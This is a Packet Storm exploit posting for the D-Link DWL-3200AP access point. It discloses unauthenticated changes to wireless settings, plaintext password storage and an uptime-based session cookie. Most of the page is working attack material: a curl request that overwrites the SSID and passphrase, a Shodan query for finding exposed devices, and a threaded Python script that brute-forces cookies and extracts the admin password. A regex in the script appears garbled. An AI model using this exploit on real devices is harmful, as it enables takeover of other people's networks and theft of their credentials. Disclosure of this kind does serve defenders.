what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link AP 3200 Missing Authentication / Cleartext Secret Storage

D-Link AP 3200 Missing Authentication / Cleartext Secret Storage
Posted Jul 30, 2014
Authored by pws

D-Link AP 3200 fails to authenticate requests to wireless settings, stores credentials in plaintext, and uses a weak cookie value.

tags | exploit, bypass, info disclosure
SHA-256 | 1adee944461c867636ad8a7e90a9b0c101706ca73b2f762045ec1d3ca7ba4e09

D-Link AP 3200 Missing Authentication / Cleartext Secret Storage

Change Mirror Download
# Exploit Title: D-Link AP 3200 Multiple Vulnerabilities
# Date: 29/07/2014
# Exploit Author: pws
# Vendor Homepage: http://www.dlink.com/
# Firmware Link: http://ftp.dlink.ru/pub/Wireless/DWL-3200AP/Firmware/
# Tested on: Latest version
# Shodan d0rk: "Server: Allegro-Software-RomPager/4.06" ~12000 devices
# CVE : None yet

Those vulnerabilities have only been tested on the D-Link AP 3200 serie but
other series (8600, 7700, 2700, ..) might also be vulnerable.


1. Unauthenticated request to change Wireless settings

To do so, you just need to craft a specific POST Request:

$ curl 'http://192.168.50.3/Forms/FormCfgWireless?1,0,6' --data 'ApModeMenu=Access+Point&Ssid=MyPrivateNetwork&SsidBroadcast=Enable&AutoChannelScan=on&AuthMenu=WPA2-Personal&Cipher=AUTO&WPA_GroupKeyUpdateInterval=1800&passphrase=OMGWTFBBQ&Preapply=0&toReboot=0&hide=0' -D -

HTTP/1.1 303 See Other
Location: http://192.168.50.3/html/bWirelessSetting.htm?1,0,6
Content-Length: 0
Server: Allegro-Software-RomPager/4.06

ESSID will be: MyPrivateNetwork
Passphrase will be: OMGWTFBBQ

Other actions might also be vulnerable but this one was the most critical.
Moreover, those requests can lead to CSRF attacks (to target internal devices).


2. Credentials in plaintext

Passwords are stored in plaintext in the device.
This can be verified by (after logging in) going to administration page: /html/tUserAccountControl.htm .
Fields (Old && New && Confirm New) password are already filled.


3. Weak cookie value (RpWebID)

The cookie value generated is nothing more than the uptime of the AP.
Here is the output between two requests (delay between requests: 1sec):

$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>


<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a451';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>


$ curl http://192.168.50.3
<html><head>
<script src="jsMain.js"> </script>
<title>DWL-3200AP</title></head>


<script language='JavaScript'>
document.cookie = 'RpWebID=3c27a452';
</script>
<script language='JavaScript'>
function JumpToHmain(){location.replace('/html/index.htm');}window.setTimeout('JumpToHmain()',1);</script>


4. PoC Time!

Basically, this code extracts the cookie value and decrement it to try all combinations from the last hour. (3600 values)
If there's one valid, it recovers the password from the AP.
I added some (horrible) 'trick' to not stress the network 'too much', but we said PoC, right?

# Example of usage
# $ python poc.py
# Cookie value extracted: 3c27acbb
# [+] Cookie: 3c27acae valid !
# [+] Password of AP is: admin123

import threading
import requests
import sys
import re
import time
import HTMLParser

# replace it with your target
url = "http://192.168.50.3/"

def test_valid_cookie(cookie_val):
cookies = dict(RpWebID=cookie_val)
try:
req = requests.get('%shtml/tUserAccountControl.htm' % (url), cookies=cookies, timeout=10)
pattern = r"NAME=\"OldPwd\" SIZE=\"12\" MAXLENGTH=\"12\" VALUE=\"([�-9]+)\""
if ('NAME="OldPwd"' in req.content):
print '[+] Cookie: %s valid !' % (cookie_val)
h = HTMLParser.HTMLParser()
password = re.findall(pattern, req.content)[0].replace('&', ';&')[1:] + ";"
print '[+] Password of AP is: %s' % h.unescape(password)
except:
# print "[!] Error while connecting to the host"
sys.exit(-1)


def get_cookie_value():
pattern = "RpWebID=([a-z0-9]{8})"
try:
req = requests.get(url, timeout=3)
regex = re.search(pattern, req.content)
if (regex is None):
print "[!] Unable to retrieve cookie in HTTP response"
sys.exit(-1)
else:
return regex.group(1)
except:
print "[!] Error while connecting to the host"
sys.exit(-1)

cookie_val = get_cookie_value()
print "Cookie value extracted: %s" % (cookie_val)

start = int(cookie_val, 16) - 3600 # less than one hour
cookie_val = int(cookie_val, 16)

counter = 0
for i in xrange(cookie_val, start, -1):
if (counter >= 350):
time.sleep(3)
counter = 0
b = threading.Thread(None, test_valid_cookie, None, (format(i, 'x'),))
b.start()
counter = counter + 1


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close